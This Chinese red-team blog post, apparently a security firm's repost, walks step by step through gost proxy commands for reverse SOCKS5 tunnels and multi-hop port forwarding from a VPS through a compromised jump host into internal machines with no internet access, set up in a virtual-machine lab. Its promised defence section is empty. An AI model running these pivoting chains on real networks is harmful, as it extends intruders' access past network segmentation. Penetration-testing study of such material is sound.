写在前边
本文主要为笔者在学习实践过程中,对gost做多级代理的一些场景进行总结。
推荐阅读链接:
https://github.com/ginuerzh/gost
一、常规开放HTTP/SOCKS5代理
作为标准HTTP/SOCKS5代理:
gost -L=:8080
设置代理认证信息:
gost -L=admin:123456@localhost:8080
多端口监听:
gost -L=http2://:443 -L=socks5://:1080 -L=ss://aes-128-cfb:123456@:8338
*左右滑动查看更多
二、端口转发
(TCP,将内网端口转发到公网服务器)
机器(49.2**.2*.2**)运行:
./gost -L socks5://:2345
该行代码含义为建立端口为2345的gost服务端
假如你有一个网站建立在机器(192.168.176.128)上,端口是5000.
机器(192.168.176.128)运行:
./gost -L rtcp://:8080/:5000 -F socks5://49.2**.2*.2**:2345
该行代码含义为将机器192.168.176.128端口5000绑定到机器49.2**.2*.2**端口8080上
*左右滑动查看更多
这时攻击者访问机器(49.2**.2*.2**)的8080端口,就是访问机器(192.168.176.128)的5000端口。这样就完成两台内网机器相互访问了。
VPS:建立端口为2345的gost服务端
./gost -L socks5://:2345
将机器192.168.176.128端口5000绑定到机器10.80.5.244端口8080上:
./gost -L rtcp://:8080/:5000 -F socks5://49.2**.2*.2**:2345
*左右滑动查看更多
访问vps 8080端口,即访问到对应内网5000端口。
三、端口转发
(SSH)
作为转发通道,配合本地/远程TCP端口转发使用。
服务端:
gost -L=forward+ssh://:2222
客户端:
gost -L=rtcp://:1222/:22 -F=forward+
ssh://server_ip:2222
四、gost-反向socks5
(一层)
vps(vps开启socks5端口):
./gost -L socks5://admin:12345611@:2222
*左右滑动查看更多
内网机器(内网开启socks5端口,通过vps 2222端口,将内网8888端口转发到vps 12345端口):
./gost -L=socks5://:8888 ./gost -L rtcp://0.0.0.0:12345/localhost:8888 -F
socks5://admin:[email protected]**.2*.2**:2222
*左右滑动查看更多
连接vps的socks5 12345端口,即可到达整个内网流量,那个认证和外网socks5认证没关系,proxifier可以不用设置密码。
五、gost-反向socks5
(多层,每层代理均可访问)
环境:
攻击者:10.1.1.2
vps:49.2**.2*.2**
内网跳板机:192.168.0.106
不出网内网机(node129):192.168.202.129
不出网内网机(node130):192.168.202.130
场景说明:
已获取node129(192.168.202.129)权限,内网跳板机(192.168.0.106)不通
node130(192.168.202.130),需要做二级代理,让攻击者(10.1.1.2)可以访问到
node130(192.168.202.130)。
*左右滑动查看更多
环境配置:
配置内网跳板机(192.168.0.106)不允许访问node130(192.168.202.130),在node130上加一条防火墙规则:
firewall-cmd --permanent --add-rich-rule='rule family=ipv4 source
address="192.168.202.1" drop'
firewall-cmd --reload
(因为是虚拟机,所以需要直接干掉192.168.202.1)
*左右滑动查看更多
Step1:在node129(192.168.202.129)开放socks5 8888端口:
./gost -L=socks5://:8888
Step2:在内网跳板机(192.168.0.106)开放socks5 2222端口:
gost.exe -L socks5://admin:12345611@:2222
Step3:将node129(192.168.202.129:8888)通过内网跳板机2222端口转发到内网跳板机(192.168.0.106:1234)。
./gost -L rtcp://0.0.0.0:1234/localhost:8888 -F
socks5://admin:[email protected]:2222
*左右滑动查看更多
Step4:在vps(49.2**.2*.2**)开放socks5 22222端口。
./gost -L socks5://admin:12345611@:22222
*左右滑动查看更多
Step5:将内网跳板机(192.168.0.106:1234)通过内网跳板机22222端口转发到vps(49.2**.2*.2**:12345)。
gost.exe -L rtcp://0.0.0.0:12345/localhost:1234 -F
socks5://admin:[email protected]**.2*.2**:22222
*左右滑动查看更多
vps的12345端口为开放的最外层socks5端口。
Step6:连接proxifier。
Step7:攻击者成功访问到node130。
六、Frp与gost结合打通多级代理
环境:
攻击者:10.1.1.2
vps:49.2**.2*.2**
内网跳板机:192.168.0.106
不出网内网机(node129):192.168.202.129
不出网内网机(node130):192.168.202.130
环境配置:
配置内网跳板机(192.168.0.106)不允许访问node130(192.168.202.130),在node130上加一条防火墙规则:
firewall-cmd --permanent --add-rich-rule='rule family=ipv4 source address="192.168.202.1" drop'
firewall-cmd --reload
(因为是虚拟机,所以需要直接干掉192.168.202.1)
*左右滑动查看更多
非转发代理-二级代理(及二级以上代理)-简单方便
(备注:三级代理未测试,因本地环境能力有限,此方式就算设置了三级代理,也会只走到第二级代理)
场景说明:
已获取node129(192.168.202.129)权限,内网跳板机(192.168.0.106)不通node130(192.168.202.130),已配置内网跳板机Frp代理,在node129(192.168.202.129)开放socks5 8899端口,此时我们只需要在Proxifier加一条192.168.202.129:8899的代理链,攻击者(10.1.1.2)便可以访问到node130(192.168.202.130)。
Step1:在node129(192.168.202.129)开启socks5 8899端口。
./gost -L=socks5://:8899
Step2:将192.168.202.129:8899加入代理链中。
Step3:攻击者(10.1.1.2)便可以访问到node130(192.168.202.130)。此时的身份为二级代理(192.168.202.129)。
转发代理-三级代理(及三级以上代理)-推荐使用
(备注:若第二层主机可以访问第三层主机,第三层代理主机不能访问第二层主机,则该方式代理无效)
场景说明:
已获取node129(192.168.202.129)权限,内网跳板机(192.168.0.106)不通node130(192.168.202.130),已配置内网跳板机Frp代理,在node130(192.168.202.130)开放socks5 9999端口,在node129(192.168.202.129)开放socks5 8899端口并设置node129 8899端口转发到node130 9999端口,此时我们只需要在Proxifier加一条192.168.202.129:8899的代理链、一条192.168.202.130:9999代理链,攻击者(10.1.1.2)便可以以node130(192.168.202.130)身份访问到node130(192.168.202.130)内网。
Step1:在node130(192.168.202.130)开放socks5 9999端口。
./gost -L=socks5://:9999
Step2:在node129(192.168.202.129)开放socks5 8899端口并设置node129 8899端口转发到node130 9999端口。
./gost -L=socks5://:8899 -F=socks5://192.168.202.130:9999
*左右滑动查看更多
Step3:此时我们只需要在Proxifier加一条192.168.202.129:8899的代理链、一条192.168.202.130:9999代理链。
Step4:攻击者(10.1.1.2)便可以以
node130(192.168.202.130)身份访问到node130(192.168.202.130)内网。
端口转发-三级代理-麻烦方法
(此方法非常麻烦,很绕,是通过最里层主机转发端口出来,记录原因是假如以上方式都无效,可尝试此方法。)
场景说明:
已获取node129(192.168.202.129)权限,内网跳板机(192.168.0.106)不通node130(192.168.202.130),已配置内网跳板机Frp代理,在node130(192.168.202.130)配置socks5 8888端口,node129(192.168.202.129)开放socks5 2222端口,node130(192.168.202.130:8888)通过node129的2222端口转发到node129(192.168.202.129:12345),此时我们只需要在Proxifier加一条192.168.202.129:12345的代理链,攻击者(10.1.1.2)便可以node130(192.168.202.130)身份访问到node130(192.168.202.130)内网。
Step1:在node130(192.168.202.130)开启socks5 8888端口。
./gost -L=socks5://:8888
Step2:在node129(192.168.202.129)开启socks5 2222端口。
./gost -L socks5://admin:12345611@:2222
Step3:在node130(192.168.202.130:8888)通过node129的2222端口转发到node129(192.168.202.129:12345)
./gost -L rtcp://0.0.0.0:12345/localhost:8888 -F
socks5://admin:[email protected]:2222
*左右滑动查看更多
此时,node129(192.168.202.129:12345),开放socks5 12345端口。
Step4:将192.168.202.129:12345加入代理链中。
Step5:攻击者(10.1.1.2)便可以node130(192.168.202.130)身份访问到node130(192.168.202.130)内网。
注意:可以看到login from 192.168.202.130,我们成功以三级代理的身份访问了。
一级:192.168.0.106
二级代理:192.168.202.129
三级代理:192.168.202.130
七、小 结
1、代理链原理,首先需要把最外层跳板机的流量带出来(Frp或gost都可以实现),内层流量(二层、三层、四层等等)代理主要是在每层对应的主机开启gost socks5端口,主要分为非转发代理(./gost -L=socks5://:8899)和转发代理(./gost -L=socks5://:8899 -
F=socks5://192.168.202.130:9999),二层推荐非转发代理开启,三层推荐转发代理开启。
非转发代理
./gost -L=socks5://:8899
转发代理
./gost -L=socks5://:8899 -F=socks5://192.168.202.130:9999
*左右滑动查看更多
2、若第二层主机可以访问第三层主机,第三层代理主机不能访问第二层主机,则代理无效。
八、防御及检测建议
原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| gost代理场景总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论